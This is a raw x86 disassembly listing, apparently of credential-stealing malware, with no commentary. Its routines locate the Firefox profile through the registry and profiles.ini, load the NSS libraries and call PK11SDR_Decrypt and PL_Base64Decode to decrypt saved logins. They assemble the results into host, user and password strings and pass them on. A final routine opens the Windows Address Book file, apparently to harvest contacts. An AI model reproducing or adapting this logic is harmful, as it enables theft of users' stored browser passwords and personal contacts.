retn sub_4245ED endp ; =============== S U B R O U T I N E ======================================= sub_42461A proc near ; CODE XREF: sub_424666:loc_424671p mov eax, dword_673690 cmp eax, dword_67368C jl short loc_424654 push dword_6737CC and dword_673690, 0 push 2800h push 1 push offset byte_66D3E8 call sub_42A188 add esp, 10h mov dword_67368C, eax test eax, eax jg short loc_424654 xor al, al retn ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_42461A+Bj ; sub_42461A+35j mov eax, dword_673690 inc dword_673690 mov al, byte_66D3E8[eax] retn sub_42461A endp ; =============== S U B R O U T I N E ======================================= sub_424666 proc near ; CODE XREF: sub_424B0B+A9p ; sub_424B0B+B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi and byte ptr [edi], 0 loc_424671: ; CODE XREF: sub_424666+1Fj ; sub_424666+25j ... call sub_42461A movsx eax, al test eax, eax jz short loc_4246AC cmp eax, 0Ah jz short loc_4246A2 cmp eax, 0Dh jz short loc_424671 xor ecx, ecx loc_424689: ; CODE XREF: sub_424666+38j test al, al jz short loc_424671 cmp esi, [esp+8+arg_4] jge short loc_4246AC mov [esi+edi], al inc esi shr eax, 8 inc ecx cmp ecx, 4 jl short loc_424689 jmp short loc_424671 ; --------------------------------------------------------------------------- loc_4246A2: ; CODE XREF: sub_424666+1Aj and byte ptr [esi+edi], 0 xor eax, eax inc eax loc_4246A9: ; CODE XREF: sub_424666+48j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4246AC: ; CODE XREF: sub_424666+15j ; sub_424666+2Bj xor eax, eax jmp short loc_4246A9 sub_424666 endp ; =============== S U B R O U T I N E ======================================= sub_4246B0 proc near ; CODE XREF: sub_425092+D9p ; sub_425092+EFp arg_0 = dword ptr 4 push [esp+arg_0] call dword_43706C ; GetFileAttributesA movzx eax, al shr eax, 4 and eax, 1 retn sub_4246B0 endp ; =============== S U B R O U T I N E ======================================= sub_4246C4 proc near ; CODE XREF: sub_424EAB+DFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4293A0 xor edx, edx pop ecx test eax, eax jle short loc_4246EE loc_4246D6: ; CODE XREF: sub_4246C4+28j mov cl, [edx+esi] cmp cl, 41h jl short loc_4246E9 cmp cl, 5Ah jg short loc_4246E9 add cl, 20h mov [edx+esi], cl loc_4246E9: ; CODE XREF: sub_4246C4+18j ; sub_4246C4+1Dj inc edx cmp edx, eax jl short loc_4246D6 loc_4246EE: ; CODE XREF: sub_4246C4+10j pop esi retn sub_4246C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246F0 proc near ; CODE XREF: sub_424762+2Ep ; sub_424762+40p ... var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_429B60 mov al, byte_454A54 push esi push edi mov [ebp+var_1000], al mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] push [ebp+arg_0] rep stosd stosw stosb lea eax, [ebp+var_1000] push eax call dword_4370B4 ; lstrcpyA mov esi, dword_437090 lea eax, [ebp+var_1000] push offset asc_446DF8 ; "/" push eax call esi ; dword_437090 push [ebp+arg_4] lea eax, [ebp+var_1000] push eax call esi ; dword_437090 lea eax, [ebp+var_1000] push eax call dword_437034 ; LoadLibraryA pop edi mov dword_6737C8, eax pop esi leave retn sub_4246F0 endp ; =============== S U B R O U T I N E ======================================= sub_424762 proc near ; CODE XREF: sub_425092+FEp arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx push edi cmp esi, ebx mov dword_6737C4, ebx mov dword_6737C0, ebx mov edi, offset aPlc4_dll ; "plc4.dll" mov ebp, offset aNss3_dll ; "nss3.dll" jz loc_424854 push offset aMozcrt19_dll ; "mozcrt19.dll" push esi call sub_4246F0 pop ecx mov ebx, offset aNspr4_dll ; "nspr4.dll" test eax, eax pop ecx jz short loc_4247E9 push ebx push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_4247E9 push offset aPlds4_dll ; "plds4.dll" push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_4247E9 push edi push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_4247E9 push offset aNssutil3_dll ; "nssutil3.dll" push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_4247E9 push offset aSqlite3_dll ; "sqlite3.dll" push esi call sub_4246F0 pop ecx pop ecx loc_4247E9: ; CODE XREF: sub_424762+3Cj ; sub_424762+49j ... push ebx push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_42484A push offset aPlds4_dll ; "plds4.dll" push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_42484A push edi push esi call sub_4246F0 pop ecx mov dword_6737C4, eax test eax, eax pop ecx jz short loc_42484A push edi push esi call sub_4246F0 pop ecx mov dword_6737C4, eax test eax, eax pop ecx jz short loc_42484A push offset aSoftokn3_dll ; "softokn3.dll" push esi call sub_4246F0 pop ecx test eax, eax pop ecx jz short loc_42484A push ebp push esi call sub_4246F0 pop ecx mov dword_6737C0, eax pop ecx loc_42484A: ; CODE XREF: sub_424762+92j ; sub_424762+A3j ... xor ebx, ebx cmp dword_6737C0, ebx jnz short loc_42487E loc_424854: ; CODE XREF: sub_424762+22j mov esi, dword_437034 push ebp call esi ; dword_437034 push edi mov dword_6737C0, eax call esi ; dword_437034 cmp dword_6737C0, ebx mov dword_6737C4, eax jz loc_424956 cmp eax, ebx jz loc_424956 loc_42487E: ; CODE XREF: sub_424762+F0j mov esi, dword_437030 push offset aNss_init ; "NSS_Init" push dword_6737C0 call esi ; dword_437030 push offset aNss_shutdown ; "NSS_Shutdown" mov dword_67379C, eax push dword_6737C0 call esi ; dword_437030 push offset aPk11_getintern ; "PK11_GetInternalKeySlot" mov dword_6737A0, eax push dword_6737C0 call esi ; dword_437030 push offset aPk11_freeslot ; "PK11_FreeSlot" mov dword_6737A4, eax push dword_6737C0 call esi ; dword_437030 push offset aPk11_authentic ; "PK11_Authenticate" mov dword_6737AC, eax push dword_6737C0 call esi ; dword_437030 push offset aPk11sdr_decryp ; "PK11SDR_Decrypt" mov dword_6737B0, eax push dword_6737C0 call esi ; dword_437030 push offset aPk11_checkuser ; "PK11_CheckUserPassword" mov dword_6737B4, eax push dword_6737C0 call esi ; dword_437030 cmp dword_67379C, ebx mov dword_6737A8, eax jz short loc_424951 cmp dword_6737A0, ebx jz short loc_424951 cmp dword_6737A4, ebx jz short loc_424951 cmp dword_6737B0, ebx jz short loc_424951 cmp dword_6737B4, ebx jz short loc_424951 cmp dword_6737AC, ebx jz short loc_424951 cmp eax, ebx jz short loc_424951 push offset aPl_base64decod ; "PL_Base64Decode" push dword_6737C4 call esi ; dword_437030 cmp eax, ebx mov dword_6737B8, eax jz short loc_424951 xor eax, eax inc eax jmp short loc_424958 ; --------------------------------------------------------------------------- loc_424951: ; CODE XREF: sub_424762+1A6j ; sub_424762+1AEj ... call sub_424984 loc_424956: ; CODE XREF: sub_424762+10Ej ; sub_424762+116j xor eax, eax loc_424958: ; CODE XREF: sub_424762+1EDj pop edi pop esi pop ebp pop ebx retn sub_424762 endp ; =============== S U B R O U T I N E ======================================= sub_42495D proc near ; CODE XREF: sub_425092+109p arg_0 = dword ptr 4 push [esp+arg_0] and dword_6737BC, 0 call dword_67379C test eax, eax pop ecx jz short loc_42497B call sub_424984 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42497B: ; CODE XREF: sub_42495D+14j xor eax, eax inc eax mov dword_6737BC, eax retn sub_42495D endp ; =============== S U B R O U T I N E ======================================= sub_424984 proc near ; CODE XREF: sub_424762:loc_424951p ; sub_42495D+16p cmp dword_6737BC, 0 jz short loc_424998 mov eax, dword_6737A0 test eax, eax jz short loc_424998 call eax ; dword_6737A0 loc_424998: ; CODE XREF: sub_424984+7j ; sub_424984+10j mov eax, dword_6737C0 push esi mov esi, dword_437038 test eax, eax jz short loc_4249AB push eax call esi ; dword_437038 loc_4249AB: ; CODE XREF: sub_424984+22j mov eax, dword_6737C4 test eax, eax jz short loc_4249B7 push eax call esi ; dword_437038 loc_4249B7: ; CODE XREF: sub_424984+2Ej pop esi retn sub_424984 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249B9 proc near ; CODE XREF: sub_424B0B+189p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push ebx xor ebx, ebx lea ecx, [ebp+var_10] cmp [eax], bl push esi mov [ebp+var_10], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx mov [ebp+var_C], ebx push ecx jz short loc_424A43 lea ecx, [ebp+var_8] push ecx push eax call sub_424A59 add esp, 0Ch test eax, eax jz short loc_424A3F cmp [ebp+var_8], ebx jz short loc_424A3F lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_8] call sub_424AAC add esp, 10h test eax, eax jz short loc_424A3F cmp [ebp+var_C], ebx jz short loc_424A3F mov eax, [ebp+var_4] inc eax push eax call sub_4297B8 mov esi, [ebp+arg_4] cmp eax, ebx pop ecx mov [esi], eax jz short loc_424A3F push [ebp+var_4] push [ebp+var_C] push eax call sub_429420 mov eax, [esi] mov ecx, [ebp+var_4] add esp, 0Ch mov [ecx+eax], bl xor eax, eax inc eax jmp short loc_424A55 ; --------------------------------------------------------------------------- loc_424A3F: ; CODE XREF: sub_4249B9+30j ; sub_4249B9+35j ... xor eax, eax jmp short loc_424A55 ; --------------------------------------------------------------------------- loc_424A43: ; CODE XREF: sub_4249B9+1Fj push [ebp+arg_4] push eax call sub_424A59 add esp, 0Ch neg eax sbb eax, eax neg eax loc_424A55: ; CODE XREF: sub_4249B9+84j ; sub_4249B9+88j pop esi pop ebx leave retn sub_4249B9 endp ; =============== S U B R O U T I N E ======================================= sub_424A59 proc near ; CODE XREF: sub_4249B9+26p ; sub_4249B9+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov edi, [esp+0Ch+arg_0] push edi call sub_4293A0 mov esi, eax xor ebx, ebx pop ecx cmp byte ptr [esi+edi-1], 3Dh jnz short loc_424A7D inc ebx cmp byte ptr [esi+edi-2], 3Dh jnz short loc_424A7D push 2 pop ebx loc_424A7D: ; CODE XREF: sub_424A59+17j ; sub_424A59+1Fj push 0 push esi push edi call dword_6737B8 mov ecx, [esp+18h+arg_4] add esp, 0Ch test eax, eax mov [ecx], eax jz short loc_424AA8 lea eax, [esi+esi*2] push 4 cdq pop ecx idiv ecx mov ecx, [esp+0Ch+arg_8] sub eax, ebx mov [ecx], eax xor eax, eax inc eax loc_424AA8: ; CODE XREF: sub_424A59+39j pop edi pop esi pop ebx retn sub_424A59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AAC proc near ; CODE XREF: sub_4249B9+45p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push esi call dword_6737A4 mov esi, eax xor eax, eax cmp esi, eax jz short loc_424AE9 mov ecx, [ebp+arg_0] mov [ebp+var_8], eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_C] mov [ebp+var_14], ecx mov ecx, [ebp+arg_4] push eax lea eax, [ebp+var_18] mov [ebp+var_10], ecx push eax call dword_6737B4 add esp, 0Ch test eax, eax jz short loc_424AED loc_424AE9: ; CODE XREF: sub_424AAC+13j xor eax, eax jmp short loc_424B08 ; --------------------------------------------------------------------------- loc_424AED: ; CODE XREF: sub_424AAC+3Bj mov eax, [ebp+arg_8] mov ecx, [ebp+var_8] push esi mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov [eax], ecx call dword_6737AC xor eax, eax pop ecx inc eax loc_424B08: ; CODE XREF: sub_424AAC+3Fj pop esi leave retn sub_424AAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B0B proc near ; CODE XREF: sub_425092+131p ; sub_425092+154p ... var_A008 = byte ptr -0A008h var_7808 = byte ptr -7808h var_5008 = byte ptr -5008h var_2808 = byte ptr -2808h var_2807 = byte ptr -2807h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 0A008h call sub_429B60 push ebx push esi mov esi, [ebp+arg_4] xor eax, eax cmp esi, offset dword_4503CC mov [ebp+var_8], eax mov [ebp+var_4], eax jnz short loc_424B34 mov [ebp+var_4], 1 loc_424B34: ; CODE XREF: sub_424B0B+20j cmp esi, offset dword_4503BC jnz short loc_424B43 mov [ebp+var_4], 2 loc_424B43: ; CODE XREF: sub_424B0B+2Fj cmp esi, offset dword_4503AC jnz short loc_424B52 mov [ebp+var_4], 3 loc_424B52: ; CODE XREF: sub_424B0B+3Ej cmp [ebp+arg_0], eax jz loc_424D5F cmp esi, eax jz loc_424D5F push [ebp+arg_0] lea eax, [ebp+var_5008] push eax call dword_4370B4 ; lstrcpyA mov ebx, dword_437090 lea eax, [ebp+var_5008] push offset asc_44DABC ; "\\" push eax call ebx ; dword_437090 lea eax, [ebp+var_5008] push esi push eax call ebx ; dword_437090 lea eax, [ebp+var_5008] push eax call sub_4245ED test eax, eax pop ecx jz loc_424D5F push edi mov edi, 2800h lea eax, [ebp+var_2808] push edi push eax call sub_424666 lea eax, [ebp+var_2808] push edi push eax call sub_424666 add esp, 10h jmp short loc_424BF4 ; --------------------------------------------------------------------------- loc_424BCB: ; CODE XREF: sub_424B0B+EBj lea eax, [ebp+var_2808] push eax call sub_4293A0 test eax, eax pop ecx jz short loc_424BE5 cmp [ebp+var_2808], 2Eh jz short loc_424BF8 loc_424BE5: ; CODE XREF: sub_424B0B+CFj lea eax, [ebp+var_2808] push edi push eax call sub_424666 pop ecx pop ecx loc_424BF4: ; CODE XREF: sub_424B0B+BEj test eax, eax jnz short loc_424BCB loc_424BF8: ; CODE XREF: sub_424B0B+D8j lea eax, [ebp+var_2808] push edi push eax call sub_424666 pop ecx test eax, eax pop ecx jz loc_424D59 mov esi, offset aS_5 ; "%s" loc_424C14: ; CODE XREF: sub_424B0B:loc_424D53j lea eax, [ebp+var_2808] push eax lea eax, [ebp+var_7808] push [ebp+var_4] push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push offset dword_45038C push edi push eax call sub_429BBE lea eax, [ebp+var_2808] push edi push eax call sub_424666 add esp, 20h jmp loc_424CEB ; --------------------------------------------------------------------------- loc_424C4A: ; CODE XREF: sub_424B0B+1E2j cmp [ebp+var_2808], 2Eh jz loc_424CF3 cmp [ebp+var_2808], 2Ah lea eax, [ebp+var_2807] jz short loc_424C6C lea eax, [ebp+var_2808] loc_424C6C: ; CODE XREF: sub_424B0B+159j push eax lea eax, [ebp+var_A008] push eax call dword_4370B4 ; lstrcpyA lea eax, [ebp+var_2808] push edi push eax call sub_424666 pop ecx lea eax, [ebp+var_8] pop ecx push eax lea eax, [ebp+var_2808] push eax call sub_4249B9 pop ecx cmp eax, 1 pop ecx jnz short loc_424CDC lea eax, [ebp+var_A008] push eax lea eax, [ebp+var_7808] push eax call ebx ; dword_437090 lea eax, [ebp+var_7808] push offset asc_450388 ; ": " push eax call ebx ; dword_437090 push [ebp+var_8] lea eax, [ebp+var_7808] push eax call ebx ; dword_437090 lea eax, [ebp+var_7808] push offset asc_43D938 ; " " push eax call ebx ; dword_437090 and [ebp+var_8], 0 loc_424CDC: ; CODE XREF: sub_424B0B+193j lea eax, [ebp+var_2808] push edi push eax call sub_424666 pop ecx pop ecx loc_424CEB: ; CODE XREF: sub_424B0B+13Aj test eax, eax jnz loc_424C4A loc_424CF3: ; CODE XREF: sub_424B0B+146j lea eax, [ebp+var_7808] cmp [ebp+arg_10], 0 push eax push esi push [ebp+arg_14] push [ebp+arg_8] push [ebp+arg_C] jnz short loc_424D11 call sub_41CF4C jmp short loc_424D16 ; --------------------------------------------------------------------------- loc_424D11: ; CODE XREF: sub_424B0B+1FDj call sub_41CFE0 loc_424D16: ; CODE XREF: sub_424B0B+204j add esp, 14h cmp [ebp+arg_18], 0 jnz short loc_424D42 cmp [ebp+arg_10], 0 lea eax, [ebp+var_7808] push eax push esi push [ebp+arg_8] push [ebp+arg_C] jnz short loc_424D3A call sub_41CE4A jmp short loc_424D3F ; --------------------------------------------------------------------------- loc_424D3A: ; CODE XREF: sub_424B0B+226j call sub_41CDD4 loc_424D3F: ; CODE XREF: sub_424B0B+22Dj add esp, 10h loc_424D42: ; CODE XREF: sub_424B0B+212j lea eax, [ebp+var_2808] push edi push eax call sub_424666 pop ecx test eax, eax pop ecx loc_424D53: ; DATA XREF: .text:0043DA6Co jnz loc_424C14 loc_424D59: ; CODE XREF: sub_424B0B+FEj xor eax, eax pop edi inc eax jmp short loc_424D61 ; --------------------------------------------------------------------------- loc_424D5F: ; CODE XREF: sub_424B0B+4Aj ; sub_424B0B+52j ... xor eax, eax loc_424D61: ; CODE XREF: sub_424B0B+252j pop esi pop ebx leave retn sub_424B0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D65 proc near ; CODE XREF: sub_425092+E7p var_154 = byte ptr -154h var_110 = byte ptr -110h var_10F = byte ptr -10Fh var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 154h push ebx push esi push edi push 10h pop ecx mov esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"... lea edi, [ebp+var_154] mov al, byte_454A54 rep movsd movsw push 40h mov [ebp+var_110], al pop ecx xor eax, eax lea edi, [ebp+var_10F] xor ebx, ebx rep stosd stosw stosb lea eax, [ebp+var_4] mov [ebp+var_8], 104h push eax push 20019h lea eax, [ebp+var_154] push ebx push eax push 80000002h call dword_437004 ; RegOpenKeyExA test eax, eax jnz loc_424EA4 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_110] push eax lea eax, [ebp+var_C] push eax push ebx push ebx push [ebp+var_4] call dword_437028 ; RegQueryValueExA test eax, eax jnz loc_424E9B cmp [ebp+var_8], ebx jbe loc_424E9B cmp [ebp+var_110], bl jz loc_424E9B push [ebp+var_4] call dword_437000 ; RegCloseKey cmp [ebp+var_110], 22h jnz short loc_424E47 lea eax, [ebp+var_110] xor esi, esi push eax call sub_4293A0 dec eax pop ecx jz short loc_424E47 loc_424E26: ; CODE XREF: sub_424D65+E0j mov al, [ebp+esi+var_10F] mov [ebp+esi+var_110], al lea eax, [ebp+var_110] push eax inc esi call sub_4293A0 dec eax pop ecx cmp esi, eax jb short loc_424E26 loc_424E47: ; CODE XREF: sub_424D65+ADj ; sub_424D65+BFj lea eax, [ebp+var_110] push eax call sub_4293A0 pop ecx jmp short loc_424E60 ; --------------------------------------------------------------------------- loc_424E56: ; CODE XREF: sub_424D65+FEj cmp [ebp+eax+var_110], 5Ch jz short loc_424E67 loc_424E60: ; CODE XREF: sub_424D65+EFj dec eax cmp eax, ebx jg short loc_424E56 jmp short loc_424E6E ; --------------------------------------------------------------------------- loc_424E67: ; CODE XREF: sub_424D65+F9j mov [ebp+eax+var_110], bl loc_424E6E: ; CODE XREF: sub_424D65+100j lea eax, [ebp+var_110] push eax call sub_4293A0 inc eax push eax call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_424E97 lea eax, [ebp+var_110] push eax push esi call dword_4370B4 ; lstrcpyA loc_424E97: ; CODE XREF: sub_424D65+122j mov eax, esi jmp short loc_424EA6 ; --------------------------------------------------------------------------- loc_424E9B: ; CODE XREF: sub_424D65+82j ; sub_424D65+8Bj ... push [ebp+var_4] call dword_437000 ; RegCloseKey loc_424EA4: ; CODE XREF: sub_424D65+60j xor eax, eax loc_424EA6: ; CODE XREF: sub_424D65+134j pop edi pop esi pop ebx leave retn sub_424D65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424EAB proc near ; CODE XREF: sub_425092:loc_425163p var_64C = dword ptr -64Ch var_63D = byte ptr -63Dh var_63C = byte ptr -63Ch var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_137 = byte ptr -137h var_34 = byte ptr -34h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 63Ch mov al, byte_454A54 push ebx push esi push edi push 40h mov [ebp+var_138], al pop ecx xor eax, eax lea edi, [ebp+var_137] push 8 rep stosd stosw stosb pop ecx mov esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox" lea edi, [ebp+var_34] lea eax, [ebp+var_C] rep movsd xor ebx, ebx push eax push 8 mov [ebp+var_10], 104h movsb mov [ebp+var_4], ebx call dword_43704C ; GetCurrentProcess push eax call dword_437010 ; OpenProcessToken test eax, eax jz short loc_424F79 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138] push eax push [ebp+var_C] call dword_437280 test eax, eax jz short loc_424F79 lea eax, [ebp+var_138] push eax lea eax, [ebp+var_23C] push eax call dword_4370B4 ; lstrcpyA mov esi, dword_437090 mov edi, offset asc_44DABC ; "\\" lea eax, [ebp+var_23C] push edi push eax call esi ; dword_437090 lea eax, [ebp+var_34] push eax lea eax, [ebp+var_23C] push eax call esi ; dword_437090 lea eax, [ebp+var_23C] push offset aProfiles_ini ; "\\profiles.ini" push eax call esi ; dword_437090 lea eax, [ebp+var_23C] push offset word_43EF70 push eax call sub_42A50C pop ecx mov [ebp+var_8], eax test eax, eax pop ecx jnz short loc_424F80 loc_424F79: ; CODE XREF: sub_424EAB+56j ; sub_424EAB+6Ej xor eax, eax jmp loc_42508D ; --------------------------------------------------------------------------- loc_424F80: ; CODE XREF: sub_424EAB+CCj push eax jmp short loc_424FCA ; --------------------------------------------------------------------------- loc_424F83: ; CODE XREF: sub_424EAB+135j lea eax, [ebp+var_63C] push eax call sub_4246C4 cmp [ebp+var_4], 0 pop ecx lea eax, [ebp+var_63C] jnz short loc_424FB6 push offset aNameDefault ; "name=default" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_424FC7 mov [ebp+var_4], 1 jmp short loc_424FC7 ; --------------------------------------------------------------------------- loc_424FB6: ; CODE XREF: sub_424EAB+EFj push offset aPath_0 ; "path=" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_424FE7 loc_424FC7: ; CODE XREF: sub_424EAB+100j ; sub_424EAB+109j push [ebp+var_8] loc_424FCA: ; CODE XREF: sub_424EAB+D6j lea eax, [ebp+var_63C] push 400h push eax call sub_42B087 add esp, 0Ch test eax, eax jnz short loc_424F83 jmp loc_425082 ; --------------------------------------------------------------------------- loc_424FE7: ; CODE XREF: sub_424EAB+11Aj lea eax, [ebp+var_63C] push offset asc_446DF8 ; "/" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425001 mov byte ptr [eax], 5Ch loc_425001: ; CODE XREF: sub_424EAB+151j lea eax, [ebp+var_63C] push eax call sub_4293A0 and [ebp+eax+var_63D], 0 lea eax, [ebp+var_63C] mov [esp+64Ch+var_64C], offset asc_44736C ; "=" push eax call sub_42AEA0 push eax mov [ebp+var_4], eax call sub_4293A0 mov ebx, eax lea eax, [ebp+var_34] push eax call sub_4293A0 add ebx, eax lea eax, [ebp+var_138] push eax call sub_4293A0 lea eax, [ebx+eax+3] push eax call sub_4297B8 mov ebx, eax add esp, 18h test ebx, ebx jz short loc_425082 lea eax, [ebp+var_138] push eax push ebx call dword_4370B4 ; lstrcpyA push edi push ebx call esi ; dword_437090 lea eax, [ebp+var_34] push eax push ebx call esi ; dword_437090 push edi push ebx call esi ; dword_437090 mov eax, [ebp+var_4] inc eax push eax push ebx call esi ; dword_437090 loc_425082: ; CODE XREF: sub_424EAB+137j ; sub_424EAB+1B0j push [ebp+var_8] call sub_42A10B pop ecx mov eax, ebx loc_42508D: ; CODE XREF: sub_424EAB+D0j pop edi pop esi pop ebx leave retn sub_424EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425092 proc near ; DATA XREF: sub_40A9FE+1389o var_28E4 = byte ptr -28E4h var_1D4 = byte ptr -1D4h var_D0 = dword ptr -0D0h var_CC = byte ptr -0CCh var_48 = dword ptr -48h var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28E4h call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_D0] rep movsd mov esi, dword_437004 mov dword ptr [eax+0BCh], 1 and [ebp+var_8], 0 lea eax, [ebp+arg_0] mov ebx, 20019h push eax push ebx push 0 mov edi, 80000002h push offset aSoftwareMozill ; "SOFTWARE\\Mozilla\\Mozilla Firefox" push edi mov [ebp+var_4], 104h call esi ; dword_437004 test eax, eax jz short loc_425101 lea eax, [ebp+arg_0] push eax push ebx push 0 push offset aSoftwareMozi_0 ; "SOFTWARE\\mozilla.org\\Mozilla" push edi call esi ; dword_437004 test eax, eax jnz loc_425216 loc_425101: ; CODE XREF: sub_425092+56j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1D4] push eax lea eax, [ebp+var_C] push eax push 0 push offset aCurrentversion ; "CurrentVersion" push [ebp+arg_0] call dword_437028 ; RegQueryValueExA test eax, eax jnz short loc_42513E cmp [ebp+var_4], eax ja short loc_425135 cmp [ebp+var_1D4], al jz loc_425216 loc_425135: ; CODE XREF: sub_425092+95j push [ebp+arg_0] call dword_437000 ; RegCloseKey loc_42513E: ; CODE XREF: sub_425092+90j cmp [ebp+var_48], 0 jz short loc_425160 push 2710h lea eax, [ebp+var_28E4] push [ebp+var_48] xor edi, edi inc edi push eax call sub_429D10 add esp, 0Ch jmp short loc_425163 ; --------------------------------------------------------------------------- loc_425160: ; CODE XREF: sub_425092+B0j mov edi, [ebp+var_8] loc_425163: ; CODE XREF: sub_425092+CCj call sub_424EAB mov esi, eax push esi call sub_4246B0 test eax, eax pop ecx jz loc_425216 call sub_424D65 mov ebx, eax push ebx call sub_4246B0 test eax, eax pop ecx jz loc_425216 push ebx call sub_424762 test eax, eax pop ecx jz short loc_425211 push esi call sub_42495D test eax, eax pop ecx jz short loc_425211 lea eax, [ebp+var_28E4] push edi push eax lea eax, [ebp+var_CC] push [ebp+var_18] push [ebp+var_D0] push eax push offset dword_4503CC push esi call sub_424B0B lea eax, [ebp+var_28E4] push edi push eax lea eax, [ebp+var_CC] push [ebp+var_18] push [ebp+var_D0] push eax push offset dword_4503BC push esi call sub_424B0B lea eax, [ebp+var_28E4] push edi push eax lea eax, [ebp+var_CC] push [ebp+var_18] push [ebp+var_D0] push eax push offset dword_4503AC push esi call sub_424B0B add esp, 54h loc_425211: ; CODE XREF: sub_425092+106j ; sub_425092+111j xor eax, eax inc eax jmp short loc_425218 ; --------------------------------------------------------------------------- loc_425216: ; CODE XREF: sub_425092+69j ; sub_425092+9Dj ... xor eax, eax loc_425218: ; CODE XREF: sub_425092+182j pop edi pop esi pop ebx leave retn 4 sub_425092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42521F proc near ; DATA XREF: sub_40A9FE+1197o var_794 = byte ptr -794h var_394 = byte ptr -394h var_290 = byte ptr -290h var_24C = byte ptr -24Ch var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = byte ptr -0E0h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 794h mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_E4] rep movsd xor edi, edi xor ebx, ebx inc edi loc_425240: ; DATA XREF: .text:off_44F904o mov [ebp+var_1C], 320h mov [eax+0BCh], edi mov eax, [ebp+var_E4] mov [ebp+arg_0], eax lea eax, [ebp+var_C] push eax push 0F003Fh push ebx push offset aSoftwareMicr_2 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h call dword_437004 ; RegOpenKeyExA cmp [ebp+var_C], ebx jnz short loc_42527C loc_425275: ; CODE XREF: sub_42521F+BDj ; sub_42521F+E1j mov eax, edi jmp loc_425482 ; --------------------------------------------------------------------------- loc_42527C: ; CODE XREF: sub_42521F+54j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_394] push eax push ebx push ebx push offset byte_454A54 push [ebp+var_C] call dword_437028 ; RegQueryValueExA push [ebp+var_C] call dword_437000 ; RegCloseKey push ebx push 80h push 4 push ebx push edi lea eax, [ebp+var_394] push 80000000h push eax call dword_43705C ; CreateFileA push ebx push ebx push ebx push 2 push ebx push eax mov [ebp+var_4], eax call dword_4370C8 ; CreateFileMappingA cmp eax, ebx mov [ebp+var_10], eax jnz short loc_4252DE push [ebp+var_4] call dword_437044 ; CloseHandle jmp short loc_425275 ; --------------------------------------------------------------------------- 